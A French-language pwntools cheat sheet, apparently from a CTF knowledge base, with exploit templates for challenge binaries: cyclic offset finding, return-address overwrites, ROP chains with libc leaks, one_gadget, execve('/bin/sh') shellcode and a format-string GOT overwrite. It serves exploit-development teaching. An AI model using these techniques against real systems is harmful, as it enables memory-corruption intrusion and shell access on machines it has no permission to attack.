---
title: pwntools
description: "Écrire des exploits rapides : process, remote, ELF, ROP et shellcraft avec pwntools."
category: pwn
kind: tool
tags: [exploit-dev, python, rop, elf, shellcraft]
level: intermediate
updated: 2026-11-04
order: 1
aliases: ["pwn", "pwntools exploit"]
---

## Template

```python
from pwn import *

context.binary = elf = ELF('./chall')
context.log_level = 'debug'

def start():
    if args.REMOTE:
        return remote('target.test', 1337)
    return process(elf.path)

io = start()
io.recvuntil(b'> ')
io.sendline(b'1')
io.interactive()
```

```bash
python3 exploit.py                # local
python3 exploit.py REMOTE         # remote
python3 exploit.py GDB            # attacher gdb
```

## Entrées / sorties

```python
io.recv(1024)
io.recvuntil(b'password: ')
io.recvline()
io.sendafter(b'> ', b'admin')
io.sendlineafter(b'> ', b'admin')
io.send(b'raw')
io.sendline(b'line')
io.interactive()
io.close()
```

## Offsets et cycles

```python
# Générer un motif cyclique
payload = cyclic(200)
io.sendline(payload)

# Après crash, retrouver l'offset
offset = cyclic_find(0x6161616c)
print(offset)
```

```python
# Padding jusqu'à RIP
payload = b'A' * offset
payload += p64(elf.symbols['win'])
io.sendline(payload)
```

## ELF, GOT et ROP

```python
elf = ELF('./chall')
libc = ELF('./libc.so.6')

print(hex(elf.symbols['main']))
print(hex(elf.got['puts']))
print(hex(elf.plt['puts']))

rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.main()
io.sendline(flat({offset: rop.chain()}))

# Fuite puis calcul de la base libc
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
```

```python
# one_gadget
from pwn import *
libc = ELF('./libc.so.6')
one = 0xE3B31  # ./one_gadget libc.so.6
payload = flat({offset: libc.address + one})
```

## Shellcraft

```python
# Payload execve("/bin/sh", 0, 0)
shellcode = asm(shellcraft.sh())
payload = shellcode
payload = shellcode.ljust(offset, b'\x90') + p64(buffer_addr)
```

```python
# Contexte 32/64 bits
context.arch = 'amd64'
context.os = 'linux'
print(disasm(asm('mov rax, 60; xor rdi, rdi; syscall')))
```

## Format string

```python
# Offset de la chaîne sur la stack
offset = 6

# Écrire une valeur arbitraire (pwntools gère l'alignement)
payload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['system']})
io.sendline(payload)
```

## Debug

```python
# Attacher gdb au process
io = process(elf.path)
gdb.attach(io, gdbscript='b *main+42\nc')
```

```python
# Core dump automatique
context.delete_corefiles = True
```

> [!TIP]
> `checksec` d'abord, puis `ROPgadget --binary ./chall | grep "pop rdi"`. Avec pwntools, `ROP(elf)` trouve les gadgets et construit la chaîne : moins d'erreurs d'alignement.

> [!WARNING]
> Un exploit qui marche en local peut échouer à distance à cause de la version de libc, de l'ASLR ou du réseau. Utilise `libc-database` ou `pwninit` pour identifier la bonne libc, et teste toujours avec un offset de réception fiable.
